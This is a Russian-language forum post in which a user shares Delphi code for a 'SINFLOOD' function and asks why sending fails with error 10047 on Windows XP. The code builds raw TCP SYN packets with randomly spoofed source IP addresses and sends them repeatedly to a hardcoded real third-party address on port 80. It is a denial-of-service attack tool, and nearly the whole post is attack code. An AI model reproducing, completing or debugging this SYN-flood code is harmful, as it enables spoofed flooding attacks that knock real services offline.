Показать сообщение отдельно

  #5337  
Старый 28.12.2009, 08:46
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
С нами: 9785147

Репутация: 137
По умолчанию

Вот пытаюсь отослать пару syn пакетов
Код:
type
  iph = record
    ip_verlen: byte; //Версия и длина
    ip_tos: byte; //Приоритет пакета
    ip_len: word; // Длина заголовка
    ip_id: word; // id -пакета
    ip_offset: word; //Смещение
    ip_ttl: byte; //Время жизни
    ip_protocol: byte; //Протокол
    ip_checksum: word; //Контрольная сумма
    ip_saddr: longword; //Адрес отправителя
    ip_daddr: longword; //Адрес получателя
  end;
  //TCP-заголовок
  tcph = record
    th_sport: word; //Порт отправителя
    th_dport: word; //Порт получателя
    th_seq: longword; // Последовательный номер
    th_ack: longword; // Подтвержденный номер
    th_len: byte; // Длина заголовка
    th_flags: byte; // Кодовые биты
    th_win: word; // Окно
    th_checksum: word; // Контрольная сумма
    th_upr: word; // Кодовые биты
  end;
TBufferArray = array[0..65535] of byte;


const
  Size = 40;




function CheckSum(var Buffer; Size: integer): word; 
type
  TWordArray = Array[0..1] of word;
var 
  lSumm: LongWord;
  iLoop: integer;
begin 
  lSumm := 0;
  iLoop := 0; 
  while Size > 1 do
  begin
    lSumm := lSumm + TWordArray(Buffer)[iLoop];
    inc(iLoop); 
    Size := Size - SizeOf(word);
  end; 
  if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
  lSumm := (lSumm shr 16) + (lSumm and $FFFF);
  lSumm := lSumm + (lSumm shr 16);
  Result := word(not lSumm); 
end;


function   SINFLOOD (): Boolean; stdcall;
var
  WSAData: TWSAData;
  FSocket: integer;
  op: integer;
  nTimeOver: integer;
    Buf: array [0..(Size - 1)] of Char;
  ipHeader: iph;
  FromIp:Pchar;
  j: integer;
  RandIp: integer;
  Buffer: array of char;
  zd:integer;
  g:integer;
s:string;
DestIp: Pchar;
TCPHeader: tcph;
port:integer;
DataPointer: ^byte;
TCPIP: TBufferArray;
ChecksumSize: word;
TcpHeaderLen: word;
i:integer;
SockAddr_in: TSockAddr;
begin
DestIp:='209.85.229.104';
port:=80;
WSAStartUp(MAKEWORD(2,2), WSAdata);
 FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED);
 op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver));

//Собираем пакет
    //Пишем версию и длину ip-пакета
    ipHeader.ip_verlen:=((4 shl 4) or sizeof(ipheader) div sizeof(longword));
    ipHeader.ip_len:=htons(Size);
    ipHeader.ip_tos:=0; //Приоритет пакета
    ipHeader.ip_id:=1;  //id-пакета
    ipHeader.ip_offset:=0; //смещение
    ipHeader.ip_ttl:=128; //время жизни пакета
    ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
      //Генерируем рандомный ip-адресс
      FromIp:='';
 for zd := 0 to 3 do
  begin
g:=random(250)+4;
if zd<>3 then begin
s:=s+inttostr(g)+'.'
end else begin
s:=s+inttostr(g)
end;
end;
FromIp:=Pchar(s);
    ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
    ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
    //Заполняем TCP-заголовок
    TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
    TCPHeader.th_dport:=htons(port); //Порт получателя
    TCPHeader.th_seq:=Random(4294967295); //Номер пакета
    TCPHeader.th_ack:=0;
    TCPHeader.th_len:=80;
    //SYN-пакет
    TCPHeader.th_flags:=2;
    TCPHeader.th_win:=htons(65535);
    TCPHeader.th_upr:=0;
    TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
    //Расчет контрольной суммы
    DataPointer := @TCPIP[0];
    FillChar(TCPIP, SizeOf(TCPIP), 0);
    Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
    Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
    DataPointer := pointer(integer(DataPointer) + 1);
    Inc(ChecksumSize);
    Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
    DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
    ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
    TcpHeaderLen := htons(sizeof(tcpHeader));
    Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
    DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
    ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
    Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
    DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
    ChecksumSize := ChecksumSize + sizeof(tcpHeader);
    tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
    FillChar(TCPIP, sizeof(TCPIP), 0);
    DataPointer := @TCPIP[0];
    Move(ipHeader, DataPointer^, sizeof(ipHeader));
    DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
    Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
For i:=0 to 10 do
    begin
     if (sendto(FSocket,TCPIP,Size,0,SockAddr_in, Sizeof(SockAddr_In))=SOCKET_ERROR)
        then
          Writeln('Send  error')
        else
          Writeln('Send ok');
    end;
end;

begin
SINFLOOD();
Writeln(IntToStr(GetLastError));
end.
возникает ошибка 10047 Адрес не совместим с выбранным протоколом.
Где я мог ошибиться? Или в Xp это не работает.?
winsock2 брал от сюда http://sources.ru/delphi/winsock2.zip
 
Ответить с цитированием